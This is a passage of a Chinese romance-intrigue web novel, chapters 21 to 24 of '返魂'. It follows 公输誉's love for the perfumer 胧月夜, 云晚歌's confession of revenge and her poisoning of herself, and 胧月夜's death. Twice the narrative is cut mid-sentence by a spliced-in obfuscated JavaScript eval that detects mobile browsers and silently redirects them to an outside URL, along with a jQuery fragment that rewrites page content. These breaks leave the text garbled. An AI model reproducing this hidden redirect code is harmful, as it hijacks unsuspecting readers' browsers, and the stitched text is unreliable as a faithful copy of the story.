复杂的家庭背景与肩上的重责,让他不像同龄人一般好动活泼,也没有什么朋友,大部分时间只把自己关在房间里钻研傀儡或是看书。 他第一次遇见胧月夜,她一直不知道,其实不是在大漠黄沙,而是一个满月夜。 那晚他照例在书房看书直到疲倦,打算回房休息,慢慢的踱步,经过庭院那一道长长的廊桥,他走过廊桥时无意识抬头一看,月夜正好,朦胧月光幽幽,衬着稀疏的几颗星子,镀上的一层银光,似霜满地。 廊桥边的院子里种着一大片昙花,是宫中御花匠培育出来的新品,上一辈公输家主平日里爱侍弄花草,尤其最爱昙花,这一片昙园的昙花均是他当年亲手所植,悉心照料,现今花叶繁茂,煞是生机。 公输家的昙花园是芜城难得一景,直到今日还颇有名气。 路过昙花园,他刻意放慢了脚步,讶异的看到有数株昙花花期未至,趁着月色,竟静悄悄的开放了,他不由自主屏住呼吸,怕惊醒了这昙花园中的生灵。 有什么清脆的声响,他抬起头,看到了那副他一生中最难忘的画面。 月光清澈,朱红回廊旁的青石苔被昨日一场骤雨淋湿,花色渐染,高楼檐角边有晚云遮蔽,满地的霜雪几乎化去。 风采蕴藉的翩翩少年微仰头看着坐于房顶的女子,不速之客,绝色的白衣美人,精致的眉目,唇角的弧度勾人,盛过这满月的无双风华。 未挽的及踝长发在夜风中飘扬,白裙下露出一双莹白的赤足,足踝系了根红色编绳,绳上串了一枚精致的银铃。 光影岚岚,他漆黑的眸倒映着那抹白衣,沿着昙花园里的鹅卵石路一步步走进,昨日雨歇,路还未干透,鞋边沾上了潮湿的绿茵碎草。 她看到他,讶异的转过身,笑眯眯的伸出手指,抵唇做了个噤声的手势,他愣住,不远处似乎有箫声渐响,一地月光,一方落雨,一串铃声,一袭白衣,优昙花的花季里,少年与女子自此相遇。 两人静静的看着,满园的昙花在此刻缓缓开放,如月下美人悄悄揭开了笼在面庞上的薄纱,似坠入凡尘的仙女重新披上羽衣,花瓣层层叠叠,素色如雪砌,这一园的花色月影,美的不似人间。 他的心是空旷的庙宇,陈旧,稳重,却死气沉沉,此刻在里却亮起千百盏明灯,焕然一新,烛光摇曳,平静而又压抑的,点亮他全部的欢喜。 昙花盛开后不过片刻,便开始谢了,洁白的花瓣委顿枯黄,他惋惜不已,踌躇了一会儿,终于下定决心要和那白衣女子打个招呼,可一抬头,却失望的发现女子已在倏忽间离去。 他试着去问过,去找过,可是没有人见过那样一个女子,好像那夜只是他臆想出来的优昙花仙子临世,花期过后,她便毫不留恋的离开。 此后每年昙花开放的时节,他都会打发走全部侍从,一个人坐在庭院里等,看着房顶屋檐,可眼底,再也没出现过那抹至死难忘的白色月光。 又过了几年,那抹月光渐渐淡去,却成为牢牢烙印在心口的朱砂。他从来没想到,会这么快又遇到她。 那日他去沙漠封印被杀伐意识刺激控制的机关傀儡兽,被一群野狼所围攻,陷入苦战之际,远方射来遥遥的一记弓箭,正中封狼王额头,血雾爆开中,他心底隐隐有预感,果然震惊的看到竟然是她,果然是她。 大漠苍茫,美人眸如冷泉,白衣烈烈。 敢问姑娘何名,他日必当登门道谢,他发现自己的声音在微微颤抖,可那女子只是笑了笑,笑中有何意味,不得知。只和当年一样,不留任何机会似的,悄然转身离开。 他开始喜欢作画,画她的模样,手执酒壶赏月下优昙,大漠孤烟拉弓满弧,女子的样貌,气度,神韵,一笔笔细细描绘。 平静的欢喜,压抑的喜欢,他眼睁睁那份情愫入画入诗,聚沙成塔,千河成海,最后那样的波澜壮阔。 最后把那份波澜壮阔压在心底,也没有时间给他珍藏与感怀。 族叔们果然按捺不住,意料之中的内乱,他一环扣一环冷静的管束和解决,有人私下说他沉默寡言不近人情,有人说他理智到冷血,并未反驳,在权谋两字上他有天赋和才能,公输家家主之位他不会让。 公输霆的刺客毒杀,樱花林里处理 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更恨的是两人之间偌大的隔阂,国仇家恨,公输家的家主,罪人妙香师胧月夜,不共戴天的距离。 如果欺骗的人不是她,如果不可触碰遥远的人不是她,他不会如此失常。 可她竟固执的开口说她只在意他的看法,她只是想让他开心,其实她说出那句话的时候,眉目间有隐隐的无邪与期盼,让人移不开眼。 明明心中有恨的,明明是敌人,他却迟迟下不去手,那时候他确定了,自己确实那么喜欢她,不管家族势力,不管身份的悬殊。 那份仰慕早就深深的扎根,在他心头沉寂已久的荒野上开出千树万树的花。 也许自那晚的花色月影起,他就注定会爱上她。 此后在静花谷,他下定决心要和她在一起,他不再退缩,一直在暗地筹谋,殚精竭虑的想出各种可以和公输霆对抗,却又能保全胧月夜的方案。 每每心绪烦躁时提笔练字,无意中写下的确是那几句诗,纸窗弄色如胧月,又了浮生一夜眠。 他愣怔住,揉了揉眉心叹了口气,他善于处理族中大小事务,却没有经验也不知该如何面对现实中感情,或是如何去坦白。 但还不到公开的时机,他知道公输霆会拿胧月夜的事情做文章要挟他,眼下胧月夜的身份暴露,又正处于风口浪尖,为了保护她的安全,两人分离或许是稳妥的法子。 而当那个心尖梦里的女子就这么直白的站在他面前,手里拿着他的画卷,笑语盈盈的诉说着喜欢,小心翼翼的讨好与不安的期待。 千树万树的繁花笼于皎皎月光下,那样美丽。 不想顾忌其他了,随他去罢,只要她在,她在身边就好。 他紧紧回抱住她,用力到似要把她渗入心头,一定会有两全的法子,只要他再想想。 一切都会好起来。 22. 返魂(二) 两人一起去山湖泛舟,胧月夜备了静花谷一叶小木舟,载着两人顺水漂流,欣赏春日山林苍翠的盛景,游到尽兴时,随意将小船定在湖中,他钓鱼时她温酒。 或在午时,公输誉将船划进附近的荷塘,有宽大荷叶的荫蔽,遮住略燥热的阳光,他看书她就躺在他怀中安然午睡,云散开来,日光透过荷叶缝斑斓地落在书上,她把头埋在他胸前,他关起书册,无意识地抚弄她柔软的发丝。 他突然想起,曾在揽月峰时和她聊到过北方的黄沙萧瑟,南方的密林葱茏,西方的茫茫大雪,东方的沧海奔流,那时她总是听得入神一脸艳羡。 本同是洒脱肆意不得闲的性子,可惜身份特殊,她一直避在清幽却枯乏的山林里。 若是等事情处理好了,就可以光明正大的带她去那日说过的芜城鉴酒场,云都的上巳花会,亦或是去各地游历见识各种奇人轶事……好圆了她的心愿,让她欢喜一场。 胧月夜如酒,乍饮下去似是炽热清冽,回味却是温和悠远,畅怀自在,只在畅怀中隐隐品出一抹寒意。 这酒本藏于山林闲野,几分超然物外的寂静与潇洒,沾了红尘,几分俗世的甘冽醇香。 相遇相知,渐渐的,也就酿出这一场春花秋月,花好月圆。 于是不知不觉,醉的那么深。 可惜相处的美好时光太过短暂。 不久后他收到了族中密探傀儡鸟寄来的信,信里道情况危急,事务杂乱待理,云晚歌被公输霆囚禁。 他一宿未眠,最后决定回公输家应战,这也是为了他们的将来打算。她从静花谷的密道送他到谷口,离开时并未言及其他,他承诺,一定会尽早回来。 回府后,发现不过多时,公输霆的势力竟远超他的控制,他费劲心思救出晚云,却也打草惊蛇,被公输霆秘密监视起来。 他如常冷静,提笔正欲给心腹写密报,落笔写的却是另一封信。 甚安,勿念,不日便归。 才过几日就发现思念的杂草在心头疯长,短短几字,他不会赞美之词也从未有过甜言蜜语,只是想让她心安。 命运却在此刻脱离了预计的轨道。 公输霆不知从何得知了静花谷的密道,派出精英傀儡士兵踏平了静花谷,谷中楼阁树木俱毁,胧月夜重伤被擒。 衔着信的傀儡鸟扑翅飞来,愣愣的,只得落在一片废墟上茫然张望,再等不到主人要它寄信的人,而那个人,也永远没有机会读到这封信。 至此,一步错,步步错。 到底是被公输霆看出了端倪。 他指使手下来给软禁中的公输誉送话,道胧月夜已关在公输家禁牢,罪人妙香师当诛,以祭我族英雄亡魂。 而知少主尚对当年一战心存疑窦,不妨毒刑拷打妙香师妖女逼她招供,以获情报。 一席话辞恭敬圆滑挑不出漏洞,不给任何回绝的余地。 他心中翻江倒海的担忧与惊惧,此刻却不得不沉住性子,公输霆看出他对胧月夜态度不一般,妄图在两人关系上做文章,好打压家主的威信与地位。 在这事上,他必须给公输家一个交代,也只有如此,才能平安救出胧月夜。 他在底下死死握拳,指尖在掌心划出血痕,声音却依旧平稳:“但凭伯父处置。”且忍耐些许时候,他很清楚,一着不慎,会满盘皆输。 此情此景,他连对视她眼睛的勇气都没有。 从未见过如此狼狈委顿的她,遍身酷刑后的伤痕,原本纤尘不染的白衣血迹斑斑,像韶华绽放后枯萎的优昙花,虚弱的不堪一击。 针刺一样的刺痛了他的眼睛,动手罢,平平静静的三个字,却如最锋利残忍的刻刀,字字扎心。他如傀儡一般木然的演完了傀儡家主该做的一切,途中接到密探的来信,似乎是逃一般的离开了牢狱。 无能保护她,还她沦落至斯,是他的错。 无论如何,他要想尽一切办法让她离开这里,密探呈上的那封信让他知晓了一个天大的秘密,这个秘密,他可以利用。 他对胧月夜冷情的戏码演的太真,公输霆对他的监视渐渐松懈,他暗中匿名给玉姬夫人写了密函,信中道明了来龙去脉和公输家禁狱的地图,吩咐傀儡悄悄送出。 几日后牢狱里会起大火,何时起火,是谁放的大火,他心中清明。 只是,他冷眼按兵不动,因为需要这场大火的遮掩,才能保她安全离开。而玉姬夫人也没有让他失望,知晓她已被成功救走,他终于长舒了一口气。 不眠不休筹划了好几日,纵使有了个好消息,他也万万不敢松懈,龙潭虎穴,遍地荆棘,之后的事,他不会再出半分差错,也不会……再让她受到半分伤害。 *** 窗外风雨肆虐,密密麻麻的雨点敲打窗纸,仿佛下一刻那凄厉的风雨便会破窗而入。这个暗夜,屋内陷入一片死寂,空中有着令人窒息的寒意。 公输誉没有先前一般淡然与镇定,眸中可见隐忍的愤怒和失望,他从袖中拿出一封书信,正是云晚歌当年和武安侯结党的证据,白纸黑字,阴谋权术,触目惊心。 他看着窗旁静静站立许久的云挽歌,藏在袖中的手不受控制的握紧,嗓音冷冷宛如缠绕在地底多年的种子,挣扎着终于破土而出:“关于胧月夜的事,我只和你提起过,是你透露给公输霆的?包括那日的刺客,寄信来逼我回公输家……或者说,公输霆根本就是你手中的棋子,他空有实力和篡权的野心,奈何性子莽撞难成大器,而你,才是猛虎最致命锋利的爪牙。” “你蛰伏在公输家这么久,到底是什么目的,云姨……不,云晚歌?” 云晚歌低低一笑,带着几分自嘲与释然,笑声渐大,公输誉平静得看着平日自矜端庄的长辈如此失态,沉默得看着她笑中隐约闪着泪光:“誉儿,你从未让我失望。” “不错,公输霆确实只是我的棋子,所有的这一切,都是我一手谋划……” 公输誉盯着她,这么多年,公输家一直有人暗地和他挑唆说生母是她因妒生恨使计才病逝,他从来不愿信。 轰隆隆一声骤响,电闪雷鸣瞬间,雨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那时,天真的我等了公输靖整整一年,死守着诺言,抵触长辈定下的亲事。父亲认为我此举荒唐让云家蒙羞,我心高气傲,与他们争吵一番后赌气离家出走。后来便到处漂泊寻人,身心俱疲也不愿放弃始终咬牙坚持,终于找到了公输靖……同时,我也知晓了他的真实身份,并错愕得知他已成婚。绝望不甘加上心灰意冷,我思念愧对我的父母,决定毅然放弃这段无果的感情,回故乡好好忏悔思过,求得父母的原谅,可是……最终等来的只是噩耗。” 她忍住心头刻骨的痛楚,勉力苍白着脸喟然一叹:“原来父母一直担心我的安危,在我离家后不久便变卖家产出门寻找,我们本是云家偏远一脉的分支,我的父母在奔波途中为打探消息已散尽家财,后来他们实在担忧思虑,孤注一掷到公输家寻人,那时正逢公输家与云家剑拔弩张,他们两人还未道清缘由,就被当做云家细作毒打拷问,父母年数已大,自然受不得这番折磨,不过几日,便双双含恨而去。” “可笑的是,这一切都是左相和公输家主一手策划,为了逼我看清事实断我念想,以防我影响到左相女儿的公输家正夫人之位。愚钝如我一直被蒙在鼓里,还因为公输靖所谓的歉意补偿,被挽留在公输家当座上宾。” 公输誉轻轻道:“所以你才无法原谅父亲?”无法原谅当时的郎情意妾海誓山盟被抛至脑后,独她一人千辛万苦死守那份虚无缥缈的承诺,却最终成了无谓的笑柄。 云晚歌自嘲般的闭眼摇头:“纵使我原谅了他,也无法原谅我自己。” 她的声音一寸寸冷下去:“我恨公输靖的无能,恨公输家的残忍,但我更恨自己。因为我的顽劣任性,害得父母受尽折辱,若我当初早早醒悟抛弃与公输靖的可笑誓言,若我在公输家不那么天真懵懂任人宰割,也不会落到如此家破人亡的下场。” 她微微仰起头,眼眶发红,身子一直颤抖,却未流下一滴眼泪。 23. 返魂(三) 那年知道真相那刻,知晓父母俱已亡故从此孑然一身时,那一刻的崩溃,泪便已流干了。 这么多年,独自一人在荆棘丛中艰难踏过,鲜血淋漓,从未再哭泣。 即便那些屈辱,背叛,悲痛的过往常在脑海中闪现折磨,心死如灰,为了复仇才苟活至今,那样千疮百孔的人生,又有什么是忍不得。 公输誉低声:“所以我的母亲的死……也和你有关?” 云挽歌冷冷一笑:“你的母亲?在这场闹剧里,她最单纯无辜,活的最悠然自在,却什么都能得到。左相千金,过街时对骑马而过的俊朗少主一见钟情,便央了圣旨赐婚。她可真是有个好父亲,设计使公输家老家主获罪入狱,以此为要挟公输靖成婚在前,威吓我接近公输靖便透露我身份置我于死地在后,那两年她视我为姐妹,高高兴兴独占夫君做着正夫人,她什么都不知道,可她不过是鸠占鹊巢,夺走了他人的幸福,这一切,本该是属于我的!” “后来她有惊无险生下长子,是贴身婢女说漏了嘴,让她彻底明白夫君对她不过相敬如宾,心中早有挚爱,不顾身子虚弱大闹脾气,断断续续的重病。而左相在女儿病逝后,害怕我有一丝一毫和公输靖旧情复燃的可能,威胁你嫡子继承人的地位,断了相国府与公输家的纽带,逼我喝下了对女子大损的秘药,让我终生不得怀孕!” 本应是被人艳羡的一对璧人。最后公输靖在愧疚悔恨中以死赎罪,云挽歌在权谋险路中被仇恨吞噬。 如果当时蛮横的左相女儿未对气宇轩昂的少年一见钟情,如果公输靖坚守诺言不屈服于家族的胁迫成婚,如果她不是云家的女儿…… 可惜这人生,从来没有假如。 她一字一顿的,说给他听,也像是在说服自己:“我从未后悔,我报仇何错之有?公输靖懦弱的背信弃义,他不负责任的施舍给我希冀,却残忍地将它不留情打碎,我在外面奔波流浪风餐露宿,受尽了艰辛苦楚,还有我父母何其无辜!狡诈,狠毒,这都是他们逼我的,又是谁答应护我无忧,却全抛置脑后?公输靖他一生一世亏欠我!” “凭什么要忍气吞声,束手无措得任人宰割?我最恨为何当年不知好歹爱上公输靖,恨当年天真无知,我所受过的痛苦折磨,公输家欠我的,我怎能罢休!” 云晚歌性子外柔内刚,看似安静温和,实则最是固执要强。 她本该恨公输誉的。他是公输家未来的少主,身上流着公输家和相国府的血脉,尚年幼时瘦小的少年脸色苍白脆弱,眼神单纯懵懂,只要她想,藏在指尖无色无味的毒药粉末,纤细的脖颈间留下轻轻的掐痕,池塘边精心设计无人知晓的意外落水,有千百种可无形中致他于死地而报仇解恨的法子。 可每每看着他窝在自己怀中坦然安详的睡颜,每次抬起头软糯怯生生的一句云姨,她下不了手。 她这一生再不会有孩子,而这个孩子让她感受到久违的温暖,感受到自己被需要,被珍重。 是因为他曾在她生辰那日悄悄熬夜折出一篮的纸鹤给她惊喜,是她从噩梦中惊醒恐慌无措时那孩子老气横秋的安慰。或是教导傀儡术时,探讨抗衡计谋时他若有所思的坚定:云姨,我只信你一个。 她脸色愈发苍白,几分怅惘,道:“誉儿,你是不是很恨我?” 公输誉沉默。其实她早就猜到了结局,自那日跪在父母灵位之前起誓,自她痛苦挣扎在仇恨的荆棘血路上走远,树欲静而风不止,便已知晓会有此结局。 自作孽,无可恕。 她已经失去了父母,族人,恋人,转瞬之间,又失去了最后珍视的孩子。 外面依旧大雨倾盆,一记雷霆闪过暗夜,刹那间照亮云挽歌的面庞,显露出一丝异常的凄凉。 她看向公输誉:“伤人七分自伤三分,你最恨被人欺骗,我自知,对你不住。” 公输誉眼底闪过一丝痛楚,云晚歌继续自言自语:“任性妄为,忤逆不孝,害父母悲惨离世;满怀怨恨,执意报仇,让恋人无辜枉死;阴险狠毒,攻于心计,不择手段,憎恨他人,也被他人憎恨……父母引以为傲,公输靖倾心的,那个原本的云晚歌,早已经死了……” 最终她只是笑了笑,温柔的开口:“最后一次,好孩子,你可不可以过来……让我再好好看看你。” 公输誉心头一震,怔怔地望着她,不知该做何反应。 云晚歌轻轻一笑,蔓延开眼角额前细密的皱纹,那笑容早已不再年轻,却和他年幼记忆中一样温暖。 玄服青年身姿颀长,眉眼冷峻,唇角紧抿,眸光淡淡,像极了他父亲。 那日也是偶遇这么惊才俊逸的少年,随意切磋后,她解机甲阵第一次输的那么惨,俏丽少女不甘心的跺跺脚:明日再来!第二日去原地,果然看到昨日那个翩翩少年,冷肃着一张脸,看到熟悉的碧绿衫裙耳根微红,在杏花微雨中不知等她等了多久,可惜又是大败。第三日,第四日,第五日…… “你会在这里呆上多久?约好了,明天这棵杏花树下见。” “你叫我晚歌罢,你等着,我一定会做出让你解不开的傀儡阵!” “我知道,我会等你,若你一年之内不来,我可就把你忘啦。” 寻寻觅觅,跌跌撞撞,她终于明白了自己当年的天真和愚蠢,她输的彻底。 公输靖为了救出含冤困于牢狱的老父亲,在家族胁迫下娶了相府千金,妥协着有了嫡长子,他自知这是对公输家教养之恩的回报与交代,牺牲了那么多,他疲惫地放下一切,孤注一掷握紧她的手:阿晚,我们逃吧,浪迹天涯,逃到所有人都找不到的地方,只要有你在,哪里都可以。 她淡淡的抽出手,笑容依旧:逃到哪里去,富贵,名利,你能给我什么?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107058|163925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 你说不再有牵挂,一切都依我,若我想报仇呢?已经太迟,一切都迟了。 与南滇国那一战,公输靖发现了妙香师胧月夜的幻香术,愕然的得知云晚歌竟与敌国勾结,只为了让公输家的精英部队元气大伤,为了报复,何至于此。 他拦在他面前,静静的:你疯了。 郭绍已掌握证据,这是同归于尽的结局,她对自己竟也如此狠心,恨便恨吧,终归是他负了她。 他痛惜得不顾一切将她紧拥在怀里,一瞬间,那温暖的怀抱让她忆起当年杏花树下的青涩少年,温暖的让她几欲落泪,他沙哑道:我陪你一起疯。 杀死主帅,以身殉国,换取她的平安。 包括在公输家的一切,他都晓得,却选择纵容。 这辈子为父亲,为家族,为发妻,这却是他最后,也是唯一能为她做的事了。 云晚歌眼中的冷意渐渐消融,垂眸:“从开始到现在,我或许怨他恨他,其实却从未想过去害他。其实他也是个可怜人。”又突的粲然一笑:“你说,若是那时我答应和他离开,若我还能有孩子,也许,那孩子长得和你很像,也差不多大。” 公输誉静静得的,看着她喃喃自语,看着她时而欢喜,时而忧愁,陡然意识到不对劲,回过神来,他冲上前去,将轰然倒地的身子搂在怀中。 却见云晚歌唇角不断溢出黑血,竟是先前就吞服了自尽的毒药。 她的眉梢眼角带着一丝释然的笑意,宛若一朵盛开的幽幽昙花,顷刻之间便已经枯萎衰败。 她慢慢闭上眼睛,怀抱中的身躯渐渐冷去,再也没了气息。 他的心头像陡然扎入尖利的倒刺,轰轰作响的雷声似乎也响在头顶,眼前一片昏黑,仿佛灵魂在那一瞬间脱离了窍壳,无法思考,无法感触,只有干涩的眼泪。 公输誉僵在原地,他体会到那种无助的绝望,当坚持的信念轰然坍塌,只有心底仅存的恨意和凄凉,才是她活着的动力。 深爱自己的父母已逝,自己深爱的人已为陌路,那个单纯无邪的云晚歌,早就死了,死在她决意抛弃一切的那天。 她说愧对父母,无法原谅爱人,其实她真正逃避的,不愿面对接受的,是背叛了原则,面目千疮的自己。 云晚歌死后,她手下群龙无首如一盘散沙,失去了利爪羽翼的猛虎耽于莽撞,不出一月,公输霆沉不住气,在一个暗夜密谋暗杀夺位。 倾巢而出的精英刺客包围了公输家主的书房,寒光闪过,正端坐在书阁中看书的公输誉头颅落地,却不流一滴血,竟只是个替身的木傀儡。 不远处飘进大片的火光,夹杂着厮杀的叫喊,本家暗中训练的三百傀儡军团从密道涌入,包抄了公输霆,血光冲天,刀剑交错响彻整晚,公输霆的势力在那晚被连根拔起彻底铲除,这一场哄闹的内乱,终于拉下了帷幕。 24. 返魂(四) 一切都结束了。公输誉只觉得深深的疲惫。 眼下已安全,是时候接胧月夜回来了。 他派出侍卫留心楚恪的下落,她若是在外游荡,牵挂的只有唯一的弟子,只要找到楚恪,顺着便可探到她的消息。 一日日安静过去,许久未等到侍卫传来有效的情报,按捺不住的失望,他看着窗前的山木苍翠,想起她曾倚窗哼的曲:“想着和他相偎厮傍,知他是千场万场,我怎比司空见惯当寻常?才离了一时半刻,恰便似三暑十霜。”不由苦笑,随即黯然。 他近日闲时,搜寻了不少酿酒古籍,看《觞政》时从中琢磨出了个改良的酒方,五谷为材,秋露时节晨露入酒,有胜似秋露白的冷香。他细细摘抄下来,打算回见到她后一起商讨。 记得离开静花谷前,曾与她一起自创酿了一壶酒,埋在谷中那棵高大嶙峋的樱花树下,百年陈酿,月圆夜封入月圆夜开启,名为胧月夜。 这次记的酒方,程序简单,倒也无需酿那么久,改以原型的酒长相思为名,不如叫长相守。不如胧月夜那般热冽,温和醇厚,回味绵长,如以后长长久久的静好岁月。 许是她并不知他苦衷,恼火他之前的所作所为,心中有怨避而不见,不过没关系,他可以慢慢解释,总有时间有机会让对方明白一切,冰释前嫌。 他花重金买下了芜城樱景山那一片樱花林,她性子喜清净不愿游人相扰,以后便可陪着她,在春日繁盛时安静赏花。 昙花园里的昙花还未到花期,月朦胧,花朦胧,夜里他趁着月色,坐在朱红色的回廊旁,眼神专注,用白玉雕刻成一朵盛放的昙花,花蕊纤细,花瓣伸展如她素白的裙裾。 他小心的珍藏至柜中,料想她一定会很喜欢。 寒来暑往,不知等了多久,依旧没有她的消息,他始终不愿放弃。 终于有密探来报楚恪现在竟在芜城,他忙派出公输弟子,客客气气的将人邀至公输家。那日他抽了本傀儡书籍在昙花园里里翻看,一面用木料雕琢着书上稀奇古怪的傀儡小件,想着见面后就送她当赔罪礼。 楚恪在公输家傀儡侍从的带领下穿过回廊,径直走到他面前,欲言又止,神色冷淡:“公输家几番风云突变皆是有惊无险,不愧是公输家主,果然好手段。” 公输誉不理会他话中的讥讽,客气诚恳:“你师父胧月夜她……现今身在何处?” 楚恪默了默:“你们公输家上下一直对她恨之入骨,你是想找到她的下落,当众处以极刑,以重新树立公输家家主的威信?” 一丝不祥忽漫上心头,公输誉的手指僵在书页上,缓缓道:“她怎么了?我暗中传出密信和禁牢地图,知晓她早已被人从公输禁牢救出,这么久了,她没有去寻你?” 楚恪愣住:“是你救了她?”顿了顿,嗓音颤抖沙哑:“当时她确实被人相助逃出牢狱,可她,师父她……现下确实是已经过世了。” 公输誉手中的傀儡匕首凛然一划,掌心溅落一串细碎的血珠,似是在做梦,张了张口再问:“什么?” 楚恪轻轻道:“师父只给我留下一枚返魂香。” 公输誉的手扶住额头,额头浸出冷汗:“怎么会?”强撑着一脸平静,压住心底最深的恐惧,仿佛装成这个样子,仿佛不说出来,如他所愿的一切便还会依然如他所愿。 到底在惧怕什么,他自己清楚。 楚恪沉默片刻,终是不忍,将真相说出:“师父被救出后不久,便下了决心,不愿躲藏于世,也许还是为了你,她抱着必死之心刺杀了武安侯,自毁容貌,天衣无缝,没有留下半点线索。她的尸首被挂在城门上示众,风吹日晒,身躯被锉骨扬灰。身为弟子,只知她赴死赴的平静洒脱,到最后无法保全她的尸骨,遑论一个葬礼。” 平平静静的一篇话,心痛的像被最残忍的刀缓缓凌迟,钝重的发不出任何声音,却只感到它在滴血。 哀转久觉,只有那样的痛楚,才能感到自己尚在人世,才逼着他去面对残忍的现实,给他仅剩的力气去反驳。 公输誉倏然起身:“你说的这些,我不会相信。” 令人透不过气的沉默中,楚恪缓缓拿出返魂香破裂后的碎屑,如失了颜色黯淡无光的琉璃石。 公输誉颤着手接过,扶着石桌才稳住身形。 楚恪看着他煞白如雪的一张脸,欲言又止,阳光透过遮蔽的阴云,照见玄服青年苍白的脸色,不知过了多久,听到他空落落的嗓音:“是我害的她被公输霆算计关入禁狱,害的她在牢中受尽拷打毒刑,她性子看似洒脱实则决绝,临死之前,认定这段时光的感情只是场虚妄,认定我一直以来的相处陪伴只是欺骗与陷阱。她一定恨透了我。” 昙花园中寂静如死,唯有凉风闲闲拂过花草,翻动书页,窸窣的轻响。 楚恪看着他,迟疑道:“师父从南滇国一战脱身,不慎中了仇家的幻香术‘寒露’,每日需饮酒抑制幻香毒发冰冷彻骨之痛,本就是强弩之末。她知晓时日不多,觉得活着会连累他人,不如选一种有意义的死法。” “她自知与你的那段情是自己挣来,怨不得旁人,虽不过镜花水月,虽结局伤人,却也最终看的开。人情冷暖,恩怨爱恨,她说这辈子体验足矣,天下没有不散的宴席,即便短暂,但仔细想想,倒也没什么遗憾了。” 公输誉怔怔看着他,唇角的血色一点点褪去:“她是,这样说的?” 云晚歌去世后他万念俱灰,本庆幸还好还有她在,可如今那个唯一的牵挂,也已经不在人世,离开得彻底,再也见不到她,再也不能听她言语,再也无法触碰到她。 巨大的痛苦在干涸的心田蔓延开来,一寸寸的折磨与挣扎,眸中没有了神采,仅剩下绝望,那种至死方休的绝望。 他赢了家主之位,赢了公输霆,赢了他拼死隐忍换来的地位与荣耀,可以后的漫长时光再也不见她的影子,他还是败的彻底。 楚恪站起身来,垂眸看着公输誉,看着他死寂灰败的神情,浑浑噩噩的似乎只剩呼吸,轻轻道:“其实,你和师父,你们都是可怜人。” 为何这世间的感情往往阴差阳错,明明两情相悦,却分隔天涯,生离死别。 这一段情里,最无奈不过明知前路坎坷没有未来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107059|163925||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却执着相守的承诺,最痛苦的,是明明那样爱着她,却至死无法让她心安,永远也不能让她相信,让她知晓。 跟随着一缕似浓还淡的香气,独自走在无边无际的黑暗中,香气幽冷,尾梢带着一丝忧怨的眷念,徒劳地想要挽留这场幻梦。 彼岸闪烁着几粒萤火,点缀在虚空,仔细看才能发觉,是数只琉璃蝶,翅膀纹路淡淡,浅浅得仿佛是随笔勾勒,翅缘是晴空一般的青蓝,月光如水,透过半透明的蝶翼,倾泻一梦的光华。 奇特的香气渐远渐淡,几个人睁开眼睛的时候,发现身处的曾点燃返魂香的水阁,已是朗月清风。 夜里风凉,月光悄然流淌,映在龙雀玉佩上,一缕淡淡的樱花余香还在衣襟间徘徊。 *** 烟雨霏霏,樱景山的樱花最盛的时节即将过去,一路走过,落了满肩的花瓣,黄衫少女缓步走在石阶上,跨过巍峨的山门,有孤笛渐响,隐在霏霏烟雨后。 刻着裂痕青石台阶的尽头,是一座青青的院落,她拂开重重花树,推开院门。 吱呀一声,日光照进漆黑的里屋,像踏入一幅古老的画境。 屋内没有点灯,正中有个人影,是公输誉烂醉如泥软在地上,身边摆满了空空的酒壶,他察觉到有来人,疲倦的睁了睁眼,眼中布满血丝,一派颓然。 顾千芊心里有些不是滋味,轻叹一声:“我这次来,是把这副画交给你。”递过去那绘了寒绯樱的机甲木盒。 盒中一幅画卷卷轴,一枚孔雀玉佩,生前是胧月夜最珍贵的记忆,死后是她仅存的遗物。 自从返魂香中醒来后,知晓了过往真相的楚恪消沉了几日,最后拜托顾千芊将这胧月夜的遗物,那盒机甲匣交给公输誉。 公输誉颤抖着伸出手接过,屋外的光线透过指缝深深浅浅的洒落,握紧了拳,像是要努力抓紧什么东西,终究只是徒劳的放开。 眸中有痛楚涌动,他无力的靠在身侧桌旁,淡漠的嗓音有些颤抖,自言自语的苦笑:“世人都道妙香师神乎其技,可事实上什么也做不了,凋零的花不能让它重新绽放,已逝去的时光无法追回,酷似的美好容颜不过是镜花水月。” 不待对方回话,他灌了一杯又一杯的酒,玉石桌上数只已空的青瓷酒壶被他随意一挥,凌乱的散落在地,眼眸渐渐笼上一层渺茫的雾气,闭上眼沉沉的趴在桌上,显然是醉的不清。 日光渐亮,适应了屋内昏黄的光线,顾千芊才蓦然看到散落在地的破碎玉熏炉,凌乱的一层厚香灰,空中残留的香烬余味,不知他点燃了多少幻香麻痹神识,桌上摊开的卷轴画的是一位美人,尚未完工却已初见形体,千秋绝色,惊为天人,唇角那抹似笑非笑的弧度,那赫然是……胧月夜的面容。 顾千芊揉了揉眼角,她小心翼翼的,一点点的后退至门外,看了眼沉迷香境梦中喃喃自语的公输誉,将院门轻轻关上。 有风喧嚣而过,飘进几瓣枯萎的樱花。花期如此短暂。 昨日雪如花,今日花如雪。山樱如美人,红颜易消歇。 这个繁花似锦的季节,确是快要结束了。